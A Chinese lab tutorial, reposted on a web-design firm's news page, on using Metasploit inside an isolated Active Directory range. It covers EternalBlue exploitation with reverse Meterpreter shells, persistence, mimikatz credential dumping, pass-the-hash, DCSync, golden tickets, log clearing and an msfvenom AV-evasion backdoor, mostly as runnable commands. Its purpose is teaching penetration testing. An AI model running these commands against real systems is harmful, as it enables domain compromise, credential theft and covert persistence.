尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

基于Metasploit的内网渗透实战:从外网突破到域控攻陷

基于Metasploit的内网渗透实战:从外网突破到域控攻陷
📅 发布时间:2026/7/6 15:13:23

1. 项目概述:从零构建你的第一个内网攻防沙盒

如果你对网络安全、渗透测试感兴趣,尤其是听到“内网渗透”、“红队”、“域环境”这些词时,既感到兴奋又觉得无从下手,那么你找对地方了。这个项目,就是一个为你量身打造的、基于Metasploit框架的“内网靶场-1”。它不是一个简单的漏洞复现环境,而是一个模拟了真实企业内网核心架构——Active Directory(活动目录)域的完整攻防演练场。在这里,你将从一个只有基础Kali Linux知识的“小白”开始,亲手搭建靶场,使用Metasploit这个“瑞士军刀”,一步步完成从外网突破到内网横向移动,直至最终控制整个域(Domain)的全过程。

我见过太多朋友,学了一堆零散的工具命令,看了无数个独立的漏洞利用视频,但一到自己动手,面对一个稍微复杂点的网络环境就懵了。问题出在哪?缺乏一个连贯的、有明确目标的实战场景。这个靶场项目要解决的,正是这个问题。它把内网渗透中那些核心的、环环相扣的技术点,比如初始访问、权限提升、信息收集、横向移动、凭证窃取、域控攻陷,串成了一条清晰的主线。通过复现这个靶场,你不仅能学会Metasploit的基本操作,更能深刻理解内网渗透的底层逻辑和攻击链(Attack Chain)思维。无论你是想入门安全行业的学生,还是希望提升实战能力的运维、开发人员,收藏并实践这一篇,足以帮你打通从“知道”到“做到”的任督二脉。

2. 靶场环境设计与核心思路拆解

2.1 为什么选择“域环境”作为靶场核心?

在真实的企业、政府机构网络中,Windows活动目录域几乎是标准配置。域的核心是一台或多台域控制器(Domain Controller, DC),它集中管理着域内所有用户、计算机的账户和权限。攻陷域控制器,就意味着拿到了整个网络的“皇冠”,可以访问任何资源、创建任意账户。因此,内网渗透的终极目标往往是域控。我们的靶场必须模拟这个核心场景,否则练了也是“花架子”。

这个靶场的设计思路,是构建一个最小化的、但功能完整的域环境。通常包括:

  1. 一台域控制器(DC):安装Windows Server系统(如2012 R2, 2016),并提升为域控制器,创建域(例如:lab.local)。
  2. 一台域成员服务器(Member Server):同样使用Windows Server,将其加入上面创建的域。这台机器通常承载着一些业务应用(如Web服务器、文件服务器),是我们从外网首先能接触到的“跳板”。
  3. 一台攻击机(Attacker):使用Kali Linux,模拟外部攻击者。它和靶机处于同一虚拟网络,但初始没有任何权限。

攻击链路非常经典:攻击者(Kali) -> 攻击域成员服务器 -> 在成员服务器上获取立足点 -> 收集域内信息 -> 横向移动到其他主机(包括域控) -> 最终攻陷域控。整个流程,我们将主要依赖Metasploit来完成。

2.2 工具选型:为何是Metasploit?

对于初学者乃至中级红队人员,Metasploit Framework (MSF) 都是无可替代的入门和核心工具。选择它作为本靶场的主武器,理由如下:

  • 集成度极高:从漏洞扫描、利用,到生成载荷(Payload)、建立会话(Session),再到后渗透(Post-Exploitation)模块(信息收集、提权、横向移动),全部在一个框架内完成。你不需要在多个工具间来回切换,降低了学习成本。
  • 模块化设计:它的use、set、run命令模式非常清晰。攻击的每一个步骤(Exploit, Payload, Post模块)都是一个独立的模块,这种结构让你能清晰地理解攻击链的每一个环节。
  • 强大的后渗透能力:这是MSF对于内网渗透最价值的部分。内置的meterpretershell和大量的post模块(如hashdump,kiwi/mimikatz,portscan等),能让你在拿到一个shell后,轻松地进行内网侦察和横向移动。
  • 社区与资源丰富:作为最流行的渗透测试框架,其教程、文章、模块更新都非常活跃,遇到问题很容易找到解决方案。

注意:Metasploit是强大的安全工具,仅限在你自己搭建的、完全隔离的实验室环境(如本靶场)中使用。未经授权对任何非自有系统进行测试都是非法且不道德的。

2.3 靶机配置与网络规划

为了确保实验可复现,我们需要明确软硬件配置。我强烈建议使用虚拟机软件(VMware Workstation或VirtualBox)来搭建整个环境,方便做快照和重置。

  • 攻击机 (Kali Linux):

    • 系统:Kali Linux 最新版(预装了Metasploit)。
    • 网络:NAT模式(用于上网更新工具) + Host-Only或自定义私有网络(用于连接靶场)。这里我们主要用到一个仅主机(Host-Only)网络,例如VMnet1(网段:192.168.1.0/24)。将Kali的其中一块网卡连接到此网络。
    • 内存:2GB+, 硬盘:20GB+。
  • 域成员服务器 (Windows Server 2012 R2 / 2016):

    • 系统:Windows Server 2012 R2 或 2016(评估版即可)。
    • 角色:先作为独立服务器安装,后续加入域。需要安装一个存在已知漏洞的软件或服务作为“入口点”,例如:一个存在漏洞的Web应用(如DVWA)、一个旧版本的FTP服务,或者最简单直接的——关闭Windows防火墙并开启一些有漏洞的端口(如SMBv1对应的445端口,用于模拟永恒之蓝漏洞)。我们这里为了教学通用性,假设它存在一个可通过MSF直接利用的SMB漏洞。
    • 网络:连接到与Kali相同的Host-Only网络(VMnet1)。IP手动设置为静态,例如:192.168.1.10。
    • 内存:2GB+, 硬盘:40GB+。
  • 域控制器 (Windows Server 2012 R2 / 2016):

    • 系统:Windows Server 2012 R2 或 2016。
    • 角色:安装Active Directory域服务,并创建新林和新域,例如域名为lab.local。这台机器将是域的管理中心。
    • 网络:同样连接到Host-Only网络(VMnet1)。IP手动设置为静态,例如:192.168.1.100。DNS服务器应指向自己(127.0.0.1或192.168.1.100)。
    • 内存:2GB+, 硬盘:40GB+。

网络拓扑图(逻辑):

[ Kali Linux (攻击机) ] - IP: 192.168.1.5 | [ Host-Only Network (VMnet1: 192.168.1.0/24) ] | [ Win-Server (成员服务器) ] - IP: 192.168.1.10 | 主机名: WEB-SRV | 域: lab.local (后续加入) | [ Win-DC (域控制器) ] - IP: 192.168.1.100 | 主机名: DC01 | 域名: lab.local

这个简单的三机环境,已经包含了内网渗透的基本要素:边界点(成员服务器)、内网环境(域网络)、核心目标(域控制器)。

3. 从外网到内网:初始访问与立足点建立

3.1 信息收集与漏洞扫描

攻击的第一步永远是信息收集。在Host-Only网络中,我们的Kali (192.168.1.5) 需要发现目标。

  1. 主机发现:

    # 使用nmap进行ARP扫描,发现同一网段内存活主机 sudo nmap -sn 192.168.1.0/24

    这个命令会列出192.168.1.1到192.168.1.254中所有在线的主机。你应该能看到192.168.1.10(成员服务器)和192.168.1.100(域控制器)。

  2. 端口与服务扫描:

    # 对发现的成员服务器进行详细端口扫描和服务识别 sudo nmap -sV -sC -O -p- 192.168.1.10

    -sV:探测服务版本;-sC:使用默认脚本扫描;-O:探测操作系统;-p-:扫描所有65535个端口。这个过程可能需要几分钟。 假设扫描结果显示,192.168.1.10开放了445/tcp(SMB) 端口,并且SMB版本存在漏洞(如MS17-010永恒之蓝)。这就是我们的潜在入口。

3.2 利用Metasploit进行漏洞利用

现在我们有了明确的目标和漏洞,是时候启动Metasploit了。

  1. 启动MSF并搜索模块:

    # 启动Metasploit控制台 msfconsole # 在msf6 > 提示符下,搜索与ms17-010相关的模块 search ms17-010

    你会看到多个模块,包括辅助扫描模块(auxiliary/scanner/smb/smb_ms17_010)和利用模块(exploit/windows/smb/ms17_010_eternalblue)。我们先用辅助模块确认漏洞。

  2. 漏洞验证:

    use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 192.168.1.10 run

    如果目标存在漏洞,模块会显示VULNERABLE。确认后,我们就可以使用利用模块了。

  3. 配置并执行攻击:

    use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.10 # 设置Payload。我们选择meterpreter reverse_tcp,这是一种功能强大的反向shell。 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.5 # 攻击机Kali的IP set LPORT 4444 # 监听端口,可自定义 # 可选:设置目标类型,自动检测通常可行 # set target 0 run

    如果一切顺利,你会看到Meterpreter session X opened的提示,这意味着你已经成功在目标服务器上执行了代码,并建立了一个反向连接回你的Kali的Meterpreter会话。恭喜,你获得了在目标系统上的第一个立足点!

实操心得:在实际环境中,像永恒之蓝这种“大杀器”漏洞很少见了,但作为入门教学,它稳定、可靠,能让你快速体验完整的利用流程。重点是理解use、set、run这个工作流。未来你会用到更多样的漏洞,流程是相通的。

3.3 Meterpreter基础与权限巩固

成功建立的Meterpreter会话是一个功能丰富的交互式shell。我们首先进行一些基本操作和权限提升。

  1. 会话管理与基础命令:

    # 列出所有活跃会话 sessions -l # 进入指定会话(假设是session 1) sessions -i 1 # 在meterpreter > 提示符下,获取系统信息 sysinfo # 查看当前用户权限 getuid

    getuid返回的可能是类似NT AUTHORITY\SYSTEM(最高权限)或一个普通用户(如LAB\webadmin)。如果是普通用户,我们需要提权。

  2. 权限提升(提权):

    # 在meterpreter会话中,尝试使用内置的提权模块 getsystem

    getsystem命令会尝试多种技术(如令牌窃取、命名管道模拟等)来将权限提升至SYSTEM。如果成功,再次运行getuid会显示NT AUTHORITY\SYSTEM。 如果getsystem失败,我们可以使用MSF的后渗透模块来寻找本地提权漏洞:

    # 返回MSF控制台,在后台运行session background # 搜索提权模块 search suggester use post/multi/recon/local_exploit_suggester set SESSION 1 run

    这个模块会分析目标系统,给出可能成功的本地提权利用建议。你可以根据建议,选择相应的exploit/windows/local/...模块,设置SESSION为当前会话后运行,来尝试提权。

  3. 权限巩固与持久化: 拿到SYSTEM权限后,为了确保即使目标重启也不会丢失访问权限,我们需要建立持久化后门。

    # 在meterpreter会话中,运行persistence脚本 run persistence -X -i 30 -p 443 -r 192.168.1.5
    • -X:系统启动时自动连接。
    • -i 30:每30秒尝试连接一次。
    • -p 443:连接回Kali的443端口(通常防火墙不会阻止)。
    • -r 192.168.1.5:你的Kali IP。 执行后,脚本会在目标机器上创建一个注册表项或计划任务,实现自启动。同时,你需要在MSF中开启一个对应的监听器(exploit/multi/handler)来等待连接。

4. 内网横向移动与信息收集

4.1 内网侦察与拓扑探测

现在我们已经是一台域成员服务器(WEB-SRV)上的SYSTEM了。下一步就是摸清内网环境,寻找域控和其他有价值的主机。

  1. 基础网络信息收集:

    # 在meterpreter会话中 ipconfig /all # 查看网络配置,确认DNS服务器(通常是域控) route print # 查看路由表 arp -a # 查看ARP缓存,发现同一网段其他主机

    这些命令能帮你快速了解当前主机所在的网络结构。

  2. 使用MSF模块进行内网扫描: 由于我们已经在目标内网中,可以利用这个“跳板”来扫描其他网段。Meterpreter提供了portscan模块。

    # 在meterpreter中加载portscan run post/multi/manage/autoroute # 添加路由,让MSF知道通过当前会话可以访问192.168.1.0/24网段 run autoroute -s 192.168.1.0/24 # 返回MSF后台,使用内置扫描器通过这个会话进行扫描 background use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.1.100 # 扫描域控 set PORTS 445,53,88,389,636 # 扫描域控常见端口:SMB, DNS, Kerberos, LDAP set SESSION 1 run

    确认域控制器(192.168.1.100)开放了这些关键端口。

  3. 域内信息收集: 这是内网渗透的重头戏。我们需要知道域里有什么用户、计算机、组策略等。

    # 返回meterpreter会话 sessions -i 1 # 加载mimikatz扩展(kiwi),这是获取凭证的神器 load kiwi # 获取当前系统的所有登录凭证(哈希值) lsa_dump_sam # 尝试转储内存中的明文密码(需要特定条件) lsa_dump_secrets # 或者使用更通用的命令获取哈希 hashdump

    hashdump获取的是本地SAM数据库的哈希,对于域成员机,可能只包含本地用户。要获取域用户哈希,通常需要SYSTEM权限下使用kiwi模块的lsa_dump_secrets或等待抓取域登录的令牌。

4.2 凭证窃取与传递攻击

在内网中,密码哈希(Hash)往往比明文密码更有用,因为它们可以用于“传递攻击”(Pass-the-Hash, PtH)。

  1. 抓取哈希与令牌: 除了上述hashdump和kiwi,还可以尝试抓取内存中的访问令牌(Token),这有时能直接获得域管理员权限。

    # 在meterpreter中,列出进程 ps # 找到一个以域管理员身份运行的进程PID(例如,explorer.exe可能以域用户运行) # 迁移到该进程(假设PID为1234) migrate 1234 # 迁移后,再次尝试使用kiwi抓取凭证,成功率可能更高 kiwi_cmd privilege::debug kiwi_cmd sekurlsa::logonpasswords

    如果成功,你可能会看到域管理员(如LAB\Administrator)的NTLM哈希甚至明文密码。

  2. 传递哈希攻击: 假设我们抓取到了域管理员Administrator的NTLM哈希(aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4)。我们可以用这个哈希,直接验证到域控或其他域成员机器上,而无需知道明文密码。

    # 在MSF控制台,使用psexec模块进行PtH攻击,目标是域控 use exploit/windows/smb/psexec set RHOSTS 192.168.1.100 set SMBUser Administrator set SMBPass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 # 格式为 LMHash:NTLMHash,如果LMHash为空,就用32个0代替前一部分 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.5 set LPORT 5555 # 换一个监听端口 run

    如果域控的445端口可访问,且防火墙规则允许,并且抓取的哈希有效,这个攻击将直接在域控上建立一个Meterpreter会话。这是内网横向移动最有效的手段之一。

4.3 其他横向移动技术

如果PtH不成功,或者你想尝试其他方法,MSF还提供了多种选择。

  1. 利用WMI执行命令: WMI(Windows管理规范)是管理Windows的强大接口,也可以被用于远程执行命令。

    use exploit/windows/smb/wmi_exec set RHOST 192.168.1.100 set SMBDomain LAB # 域名 set SMBUser Administrator set SMBPass MyPassword123! # 或者使用哈希 set PAYLOAD windows/x64/meterpreter/bind_tcp # 因为是从内网发起到目标的连接,可以用bind set LPORT 4444 run
  2. 利用计划任务: 通过SMB或WinRM创建远程计划任务来执行Payload。

    use exploit/windows/smb/smb_delivery set SRVHOST 192.168.1.5 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.5 exploit -j # 生成一个UNC路径的命令,在目标机器上执行此命令即可触发

    你需要通过某种方式(如钓鱼、已有shell执行命令)让目标机运行生成的命令。

注意事项:横向移动时,流量可能会经过目标网络中的安全设备(如IDS/IPS)。尽量使用常见的协议和端口(如SMB over 445, WMI over 135),并考虑使用bind_tcp载荷(从目标向外连接)而非reverse_tcp(连接回攻击机),以减少出网流量引起的怀疑。同时,时间选择也很重要,在业务低峰期进行。

5. 攻陷域控制器与权限维持

5.1 定位与攻击域控

通过前面的横向移动,我们可能已经获得了域控制器(DC01)的Meterpreter会话。如果没有,继续尝试使用收集到的凭证(哈希)通过PsExec、WMI等方式攻击192.168.1.100。

一旦进入域控,我们的目标就变成了获取域内最高权限的证明——域管理员哈希,并可能导出整个域的认证数据库(NTDS.dit)。

  1. 确认域控身份与权限:

    # 在域控的meterpreter会话中 sysinfo # 查看主机名、系统版本,确认是DC getuid # 确认当前权限,最好是SYSTEM # 运行一个简单的域查询命令 shell net group "Domain Admins" /domain exit

    这条命令会列出所有域管理员账户。

  2. 转储域哈希(NTDS.dit): 这是内网渗透的“皇冠宝石”。NTDS.dit文件存储在域控的C:\Windows\NTDS\目录下,但运行时被系统锁定。我们需要特殊方法转储。

    # 加载kiwi load kiwi # 使用kiwi的dcsync功能,模拟域控制器同步请求,直接向域控索取指定用户的哈希 dcsync_ntlm lab.local\administrator

    这个命令会返回域管理员Administrator的NTLM哈希。要获取所有域用户的哈希,传统方法是在SYSTEM权限下创建卷影副本(Volume Shadow Copy)来复制NTDS.dit文件,然后导出。MSF有自动化模块:

    # 返回MSF后台 background use post/windows/gather/ntds_grabber set SESSION [域控的session id] set RHOST 192.168.1.100 run

    这个模块会尝试使用卷影拷贝技术获取NTDS.dit和SYSTEM注册表配置单元,然后下载到攻击机,最后使用secretsdump.py(来自Impacket工具套件)之类的工具离线破解哈希。注意:这个过程会产生大量磁盘I/O和网络流量,在真实环境中极易触发告警。

5.2 黄金票据与权限维持

拿到域管理员哈希(特别是krbtgt用户的哈希)后,我们可以制作“黄金票据”(Golden Ticket),这是一种可以伪造任意域用户身份(包括域管理员)的Kerberos票据,允许我们在域内进行持久、隐蔽的访问。

  1. 获取关键信息: 制作黄金票据需要:

    • 域名:lab.local
    • 域SID:可以通过shell执行whoami /user或wmic useraccount get name,sid查看一个域用户的SID,然后去掉末尾的-RID(如-500)部分。
    • krbtgt用户的NTLM哈希:这是最关键的材料。使用dcsync_ntlm获取:dcsync_ntlm lab.local\krbtgt。
    • 要伪造的用户名:比如administrator。
  2. 在MSF中生成黄金票据:

    # 在域控或任何有域用户哈希的会话中,使用kiwi生成票据 load kiwi # 假设我们已获取以下信息: # 域名: lab.local # 域SID: S-1-5-21-123456789-1234567890-123456789 # krbtgt哈希: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx golden_ticket_create -d lab.local -k xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -s S-1-5-21-123456789-1234567890-123456789 -u administrator -t /root/golden.ticket

    这个命令会在攻击机(Kali)的/root/目录下生成一个名为golden.ticket的票据文件。

  3. 使用黄金票据: 在另一个已经建立的、权限较低的域成员会话中,可以注入这个黄金票据,从而提升权限。

    # 在目标成员机的meterpreter会话中 load kiwi kerberos_ticket_use /root/golden.ticket # 票据注入后,尝试访问域控的C$共享 shell dir \\DC01.lab.local\c$

    如果成功列出目录,说明黄金票据生效,你现在拥有了域管理员权限。黄金票据的有效期默认是10年,提供了极其持久的后门。

5.3 清理痕迹与防御规避

在完成所有攻击动作后,为了延长隐蔽时间,需要进行简单的痕迹清理。

  1. 清除日志:

    # 在meterpreter中,清除Windows事件日志(需管理员权限) clearev

    注意:clearev命令会清除全部日志,这在真实攻防演练中是一个危险动作,会立刻引起蓝队(防御方)的警觉。更隐蔽的做法是选择性删除或伪造特定日志条目,但这需要更高级的技术。

  2. 删除持久化后门: 如果你使用了persistence脚本,它会告诉你创建了哪些文件、注册表项或计划任务。你需要手动删除它们。

    # 例如,如果是通过注册表Run键实现的持久化 reg deleteval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v [你的后门值名称] # 删除磁盘上的后门文件 rm C:\\Windows\\Temp\\[后门文件].exe
  3. 关闭会话:

    # 在meterpreter中退出 exit # 或者在MSF控制台中关闭会话 sessions -k [session id]

重要提醒:以上所有攻击技术,仅用于在自己完全控制的靶场环境中进行学习、研究和授权下的安全测试。在真实网络中使用这些技术攻击他人系统是严重的违法行为。

6. 常见问题与排查技巧实录

在搭建和演练这个靶场的过程中,你几乎一定会遇到各种问题。下面是我总结的一些常见坑点和解决方法。

6.1 靶场环境搭建问题

问题1:虚拟机之间无法互相ping通。

  • 排查:检查所有虚拟机的网卡是否连接到同一个虚拟网络(如VMnet1)。在每台虚拟机内,用ipconfig或ifconfig确认IP地址是否在同一网段(如192.168.1.x)。关闭所有虚拟机的防火墙(初期为排除干扰)。
  • 解决:确保虚拟网络编辑器中的Host-Only网络配置正确,且未启用DHCP冲突。手动设置静态IP更可靠。

问题2:Windows Server提升为域控制器失败。

  • 排查:确保服务器有静态IP,且DNS服务器指向自己(127.0.0.1)。检查服务器名是否合规(不要有特殊字符)。内存是否足够(建议2GB以上)。
  • 解决:在“服务器管理器”中添加“Active Directory域服务”角色后,务必通过弹出的旗帜通知来完成“域服务配置”,而不是在角色页面直接操作。如果失败,查看系统事件日志获取具体错误代码。

问题3:域成员服务器无法加入域。

  • 排查:确保能ping通域控制器(192.168.1.100)和域名(lab.local)。在成员服务器上,将DNS服务器地址设置为域控制器的IP(192.168.1.100)。
  • 解决:使用具有域管理员权限的账户(如LAB\Administrator)在加入域时进行认证。确保网络配置文件为“专用网络”。

6.2 Metasploit利用阶段问题

问题4:exploit/windows/smb/ms17_010_eternalblue运行后崩溃或失败。

  • 排查:首先用auxiliary/scanner/smb/smb_ms17_010模块确认漏洞是否存在。检查目标系统是否为64位Windows 7/Server 2008 R2等受影响版本。某些虚拟机快照或系统状态可能导致利用不稳定。
  • 解决:尝试更换Payload,例如从windows/x64/meterpreter/reverse_tcp换成windows/x64/shell/reverse_tcp。或者,换用其他MS17-010利用模块,如exploit/windows/smb/ms17_010_psexec。最根本的解决方法是确保靶机系统是纯净的、受影响的版本。

问题5:Meterpreter会话建立后立即断开。

  • 排查:这通常是杀毒软件或Windows Defender实时防护导致的。Payload被识别并杀掉了。
  • 解决:在靶机上临时禁用Windows Defender实时保护(仅限实验环境!)。或者,使用MSF的msfvenom工具生成编码或加密的Payload,并配合template选项来绕过基础检测。例如:
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -e x64/shikata_ga_nai -i 5 -x /usr/share/windows-resources/binaries/plink.exe -o backdoor.exe
    但请注意,这只是一个基础绕过,对于现代EDR可能无效。

问题6:hashdump或kiwi命令无法获取哈希。

  • 排查:权限不足是最常见原因。即使getuid显示SYSTEM,在某些系统(如Win10/Server 2016+)上,受Credential Guard等安全特性影响,也需要先绕过LSA保护。
  • 解决:尝试使用getsystem提权。如果已经是SYSTEM还不行,在meterpreter中运行:run post/windows/manage/enable_rdp,然后尝试用kiwi的lsa_dump_sam。也可以尝试迁移到lsass.exe进程(PID通常为几百)后再执行:migrate <lsass_pid>,然后load kiwi,lsa_dump_sam。

6.3 横向移动与域渗透问题

问题7:传递哈希攻击(PsExec)失败,提示“登录失败”。

  • 排查:原因可能很多:1) 目标主机(如域控)的Admin$共享访问被限制;2) 使用的用户不在目标机器的本地管理员组中;3) 防火墙阻止了445或135端口;4) 哈希已过期或错误;5) 目标系统(如Win10/Server 2016+)默认禁止了PtH,需要修改注册表HKLM\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin为0(但这会留下明显痕迹)。
  • 解决:首先用crackmapexec等工具验证凭证有效性:crackmapexec smb 192.168.1.100 -u Administrator -H aad3b...。如果凭证有效但PsExec不行,尝试WMI (wmi_exec) 或计划任务 (smb_delivery) 等其他横向移动方式。

问题8:dcsync_ntlm命令没有返回哈希。

  • 排查:当前权限可能不是真正的SYSTEM,或者域控制器上的相关服务(NTDS)运行异常。Credential Guard也会阻止DCSync。
  • 解决:确保会话是通过域管理员凭证(或SYSTEM权限)在域控制器上建立的。可以尝试先获取一个交互式shell (shell),然后使用Windows原生命令ntdsutil来手动转储,但这更复杂且动静大。在实验环境中,最稳妥的方法是确保靶场域控是Server 2012 R2,并且未启用Credential Guard等高级安全功能。

问题9:黄金票据注入后,访问域控资源仍然被拒绝。

  • 排查:检查生成黄金票据时使用的域SID和krbtgt哈希是否正确。票据是否成功注入(使用kiwi_cmd kerberos::list查看)。系统时间是否与域控同步(Kerberos协议对时间敏感,偏差不能超过5分钟)。
  • 解决:在Kali上使用date命令查看时间,如果与Windows域时间不同步,可以用ntpdate同步到域控:sudo ntpdate 192.168.1.100。重新生成并注入票据。

6.4 通用技巧与建议

  • 多用help命令:在MSF或Meterpreter中,任何模块下输入help可以查看所有可用命令和选项。
  • 善用search功能:在MSF中,search是你最好的朋友。比如search portscan,search persistence。
  • 后台与会话管理:使用background将活跃会话放到后台,使用sessions -l查看,sessions -i [id]交互。这允许你同时管理多个目标。
  • 记录与文档:养成好习惯,用文本文件记录每一步使用的命令、目标的IP、获得的用户名/哈希、遇到的错误和解决方案。这对于复现和排查问题至关重要。
  • 快照是你的朋友:在虚拟机关键步骤(如刚装好系统、加入域前、攻陷某个点后)创建快照。一旦实验出错,可以快速回滚,节省大量时间。

这个靶场项目就像一张精细的“攻击地图”,带你走完了从外网突破到掌控整个内网域的标准流程。每个步骤背后,都对应着真实攻防中广泛使用的技术和思路。我建议你不要止步于一次成功的复现。尝试变化:如果第一个入口点不是SMB漏洞,而是一个Web漏洞呢?如果域控开启了更强的防护(如Credential Guard)呢?如果内网有多个网段呢?基于这个基础框架去探索、去试错,你才能真正把知识内化。

相关新闻

  • MCP基础版本
  • 第一篇:Java 语言核心特性与运行机制
  • MC6470与PIC18LF4682在工业自动化中的高精度控制方案

最新新闻

  • CodexBar终极指南:如何实时监控56个AI服务的Token消耗与成本
  • Leanstral-1.5-119B-A6B在数学证明中的应用:完美oid空间案例研究
  • 前后端国密加解密实战:SM2+SM4混合加密方案全解析
  • three.quarks时间控制终极指南:慢动作与时间缩放效果完全教程
  • 【计算机Java毕业设计案例】基于 SpringBoot 的北部湾特色农业资源展示平台的设计与实现 基于 SpringBoot 的乡村农产品助农销售服务系统(程序+文档+讲解+定制)
  • MegaDepth:基于互联网照片的单视图深度预测革命性算法完全指南

日新闻

  • AI智能体安全防护框架AgentGuard:从原理到实战部署指南
  • KMX63与PIC18F26K40硬件组合及低功耗设计实践
  • 基于YOLO13改进的门体检测模型:C3k2模块与PoolingFormer技术解析

周新闻

  • 基于YOLOv12的番茄成熟度智能检测系统开发
  • 终极RimWorld模组管理指南:用RimSort告别模组冲突烦恼
  • AI Agent框架开发:从理论到实践的完整指南

月新闻

  • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
  • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
  • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号